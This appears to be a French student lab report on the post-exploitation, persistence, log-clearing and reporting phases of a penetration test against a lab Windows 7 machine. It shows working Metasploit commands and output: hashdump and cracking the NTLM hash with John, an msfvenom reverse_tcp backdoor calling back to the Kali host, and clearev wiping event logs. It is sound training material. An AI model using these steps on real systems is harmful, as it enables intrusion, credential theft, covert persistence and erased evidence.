

Bloc 3 TP 2.6-2.9 - Test d'intrusion

Contexte	2
Phase IV : la post-exploitation	3
Crackage du mot de passe avec John the Ripper	5
Phase V : le maintien d'accès	6
Phase VI : l'effacement des traces	8
Phase VII : le rapport de pentest	9
Conclusion	10

Contexte

Ce TP poursuit le **test d'intrusion**. Au TP précédent, on a **exploité** la faille **MS17-010 (EternalBlue)** de la victime **Windows 7** avec **Metasploit** et obtenu une session **meterpreter** avec les privilèges **SYSTEM**.

On va faire les dernières phases : la **post-exploitation** (phase IV), le **maintien d'accès** (phase V), l'**effacement des traces** (phase VI) et enfin le **rapport** (phase VII).

On reprend donc la main sur la cible en relançant l'exploit, ce qui nous redonne une session **meterpreter** sur **192.168.56.102**.

Phase IV : la post-exploitation

Une fois sur la machine, le payload **meterpreter** est très puissant : la commande **help** liste toutes les commandes disponibles. La cible est sous **Windows**, mais meterpreter accepte des commandes de style **Linux** (**pwd**, **cd**, **ls**...).

Exercice 1 : Se déplacer dans la machine et créer un fichier sur le bureau de l'utilisateur.

La commande **pwd** montre qu'on est dans **C:\Windows\system32**. On navigue avec **cd** et **ls**. Dans meterpreter, créer un fichier avec **touch** ou **echo** ne marche pas : il faut ouvrir un vrai **Shell Windows** avec la commande **shell**, puis utiliser des commandes **Windows**. On crée alors le fichier **alire.txt** sur le bureau de **gobeul** :

```
Channel 1 created.
Microsoft Windows [version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.

C:\Users\gobeul\Desktop> cd C:\Users\gobeul\Desktop
cd C:\Users\gobeul\Desktop

C:\Users\gobeul\Desktop> echo Vous avez ete pirate !!! > alire.txt
echo Vous avez ete pirate !!! > alire.txt

C:\Users\gobeul\Desktop> type alire.txt
type alire.txt
Vous avez ete pirate !!!

C:\Users\gobeul\Desktop> dir
dir
Le volume dans le lecteur C s'appelle Windows
```

Le fichier **alire.txt** est bien créé (27 octets) et contient notre message. C'est une preuve qu'on peut **écrire** à distance sur la cible.

Exercice 2 : Récupérer les **hash** des mots de passe des utilisateurs.

La commande **hashdump** extrait les empreintes (**hash**) des comptes Windows :

```
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter > pwd
C:\Windows\system32
meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
gobeul:1000:aad3b435b51404eeaad3b435b51404ee:9bdc61db5a3fced6d82d49279f1f0430
:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:
:::
```

On a **3 comptes** : **Administrateur** et **Invité** ont un hash de mot de passe **vide** (comptes désactivés), et surtout **gobeul**, dont le **hash NTLM** est **9bdc61db5a3fced6d82d49279f1f0430**. Ces hash sont une information **précieuse** : ils servent à **cracker** les mots de passe. La commande **getsystem** confirme qu'on est déjà **Système** (administrateur total).

Crackage du mot de passe avec John the Ripper

Kali embarque deux outils de crackage : **John the Ripper** et **Hashcat** (qui utilise la carte graphique, donc peu utile en machine virtuelle). On va utiliser **John**.

Exercice 3 : Cracker le hash **NTLM** de gobeul avec **John the Ripper**.

On met le hash dans un fichier **hash.txt**, puis on lance **John** avec le dictionnaire **rockyou.txt** (plus de **14 millions** de mots de passe courants) en précisant le format **NT** :

```
gobeul@kali:~$ [ -f ~/rockyou.txt ] || gunzip -c /usr/share/wordlists/rockyou.txt.gz >
~/rockyou.txt 2>/dev/null; wc -l ~/rockyou.txt
john --format=NT --wordlist=/14344392 /home/gobeul/rockyou.txt
h

gobeul@kali:~$ john --format=NT --wordlist=/home/gobeul/rockyou.txt hash.txt
Created directory: /home/gobeul/.john
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
00000000 (?)
1g 0:00:00:00 DONE (2026-10-06 14:40) 25.00g/s 24000p/s 24000c/s 24000C/s foo
tball1..sandy
Use the "--show --format=NT" options to display all of the cracked passwords
reliably
Session completed.

gobeul@kali:~$ john --show --format=NT hash.txt
?:00000000

1 password hash cracked, 0 left
```

John trouve le mot de passe **quasi instantanément** : c'est **00000000**. On le vérifie avec **john --show**. Un mot de passe aussi **faible** se casse en une seconde ; un vrai mot de passe complexe résisterait beaucoup mieux. Une fois cassé, on le note dans la **documentation**.

Phase V : le maintien d'accès

Pendant un test d'intrusion, on peut **perdre** sa session meterpreter (plantage, redémarrage...). Pour ne pas tout recommencer, on **maintient l'accès** en créant une **deuxième porte d'entrée** : on dépose un fichier malveillant sur la cible qui rouvrira une session.

Exercice 4 : Créer un fichier malveillant avec **msfvenom**.

msfvenom (un outil de Metasploit) génère le malware. On choisit le payload **windows/x64/meterpreter/reverse_tcp** (c'est la **cible** qui se connecte à nous), l'adresse **LHOST** de Kali, le port **LPORT 443** (le port **HTTPS**, que le pare-feu laisse plus facilement passer) et le format **-f exe** :

```
gobeul@kali ~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o persistence.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: persistence.exe

gobeul@kali ~$ ls -l persistence.exe; file persistence.exe
-rw-rw-r-- 1 gobeul gobeul 7680 6 oct. 14:41 persistence.exe
persistence.exe: PE32+ executable for MS Windows 4.00 (GUI), x86-64, 5 sections
```

Le fichier **persistence.exe** est généré. On le crée bien en **x64 (PE32+ x86-64)** car la victime est en **64 bits** — un exécutable 32 bits serait refusé.

Exercice 5 : Mettre en place un écouteur, uploader puis exécuter le malware.

Dans Metasploit, on prépare un **écouteur** avec **use exploit/multi/handler** (même payload, port **443**) lancé en tâche de fond (**exploit -j**). Depuis notre session, on **upload** persistence.exe sur la cible, puis on l'**exécute** (**execute**). La cible se reconnecte et une **2^e session** s'ouvre :

```
C:\Users\gobeul\Desktop
meterpreter > upload /home/gobeul/persistence.exe
[*] Uploading : /home/gobeul/persistence.exe → persistence.exe
[*] Uploaded 7.50 KiB of 7.50 KiB (100.0%): /home/gobeul/persistence.exe → p
persistence.exe
[*] Completed : /home/gobeul/persistence.exe → persistence.exe
meterpreter > execute -f persistence.exe
Process 960 created.
[*] Sending stage (255677 bytes) to 192.168.56.102
meterpreter > [*] Meterpreter session 2 opened (192.168.56.101:443 → 192.168
.56.102:49159) at 2026-10-06 14:43:32 +0200
background
[*] Backgrounding session 1...
msf exploit(multi/handler) > sessions -l

Active sessions
```

Id	Name	Type	Information	Connection
1		meterpreter x64/win dows	AUTORITE NT\Syst_me @ WIN7-VICTIME	192.168.56.101:4444 → 192.168.56.102:49 158 (192.168.56.102)
2		meterpreter x64/win dows	AUTORITE NT\Syst_me @ WIN7-VICTIME	192.168.56.101:443 - > 192.168.56.102:491 59 (192.168.56.102)

On a maintenant **2 sessions meterpreter actives** sur la victime (l'une par **EternalBlue**, l'autre par **persistence.exe**) : plus on en a, plus on a de chances de rester. D'autres techniques de persistance existent : le **planificateur de tâches** (task scheduler) sous Windows et le **cron** sous Linux, qui déclenchent automatiquement une connexion inverse vers notre Kali à intervalles réguliers.

Phase VI : l'effacement des traces

À la fin du test, un pentester **professionnel** supprime **toutes ses traces** : logs, fichiers déposés, tâches planifiées, ports ouverts, etc. La documentation sert justement à se rappeler tout ce qu'on a fait.

Exercice 6 : Effacer les journaux d'événements avec **clearev**.

La commande **clearev** de meterpreter efface les **logs d'événements** Windows (**Application, Sécurité, Système**) :

```
msf exploit(multi/handler) > sessions -l

Active sessions
=====

  Id  Name  Type                Information                                     Connection
  --  ---  --                -
  1    meterpreter x64/win  AUTORITE NT\Syst_me  192.168.56.101:4444
      dows              @ WIN7-VICTIME      → 192.168.56.102:49
                               158 (192.168.56.102)
  2    meterpreter x64/win  AUTORITE NT\Syst_me  192.168.56.101:443 -
      dows              @ WIN7-VICTIME      > 192.168.56.102:491
                               59 (192.168.56.102)

msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > clearev
[*] Wiping 298 records from Application...
[*] Wiping 606 records from System...
[*] Wiping 347 records from Security...
```

En un instant, elle a supprimé **298** enregistrements Application, **606** Système et **347** Sécurité : l'observateur d'événements de la cible est maintenant **vide**.

Pour les **tâches planifiées** sous Linux, on consulte le **crontab** ; il suffit de **supprimer la ligne** correspondante pour enlever une tâche :

```
Session: root@kali: ~
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```

Phase VII : le rapport de pentest

Dernière étape : rédiger un **rapport** clair sur la sécurité du client. C'est un **art** : il faut être compris de tous, de l'**équipe technique** jusqu'aux **dirigeants**, sans jargon. Dire "*" il a été possible de lire vos courriels "*" parle plus qu'une explication technique. Le rapport est un document **confidentiel** (souvent un **PDF** non modifiable). Il se compose de deux parties.

Le **rapport d'exécution** (résumé pour les dirigeants) contient :

- **Background** : le but des tests et la définition des termes (vulnérabilité, contre-mesure...).
- **Posture globale** : l'efficacité des tests et les vulnérabilités exploitées.
- **Profil du risque** : le niveau de sécurité (**high, medium, low**).
- **Découvertes générales, recommandations et plan stratégique** (objectifs court et long terme).

Le **rapport technique** (pour l'équipe IT) détaille chaque phase :

- **Introduction** (périmètre, contacts), **récolte d'information**, **évaluation des vulnérabilités**.
- **Exploitation** et **post-exploitation**, **risques & dangers**, puis **conclusion**.

Le test d'intrusion n'est qu'une **partie** d'un **audit de sécurité** plus complet. Pour cadrer tout ça, on s'appuie sur des **référentiels** : **ISO 27001/27000**, le **RGS** de l'**ANSSI**, **COBIT**, **SOX**, **PCI-DSS**, et la méthodologie **PTES** (Penetration Testing Execution Standard).

Conclusion

Ces **TP** ont bouclé le **cycle complet** d'un test d'intrusion. Après la **reconnaissance** et le **scanning**, on a **exploité** la victime **Windows 7**, puis en **post-exploitation** on a créé un fichier à distance, récupéré les **hash** et **cracké** le mot de passe de l'utilisateur (**00000000**).

On a ensuite assuré le **maintien d'accès** avec un malware **msfvenom** (une 2ème session), puis on a **effacé nos traces** avec **clearev**. Enfin, on a vu comment rédiger un **rapport** de pentest professionnel.

Ce **test d'intrusion** montre à quel point une faille non corrigée (ici **MS17-010**) peut donner un **contrôle total** d'une machine — d'où l'importance des **mise à jour** et d'une bonne **hygiène de sécurité**.